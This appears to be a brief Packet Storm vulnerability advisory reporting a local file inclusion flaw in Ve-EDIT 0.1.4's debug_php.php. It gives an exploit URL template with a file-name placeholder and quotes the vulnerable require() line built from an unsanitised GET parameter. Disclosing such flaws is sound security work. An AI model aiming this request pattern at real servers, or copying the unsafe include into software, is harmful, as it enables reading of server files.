Ve-EDIT version 0.1.4 suffers from a local file inclusion vulnerability in debug_php.php.
c5ec1b37421b6bb06ba91b356af99af6529d4ef4d9afd8bd45026436d53c8ba6-------------------------------------------------------------------------------------
Ve-EDIT v 0.1.4 (debug_php.php) LFI Vulnerability
-------------------------------------------------------------------------------------
Author: CoBRa_21
Mail: uyku_cu[at]windowslive[dot]com
Script Download: http://sourceforge.net/projects/phpwebeditor/
-------------------------------------------------------------------------------------
EXPLOİT:
http://localhost/[PATH]/debugger/debug_php.php?_GET[filename]= [LFİ]
-------------------------------------------------------------------------------------
BUG
Line 53: require("./../".$_GET["filename"]);
-------------------------------------------------------------------------------------
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed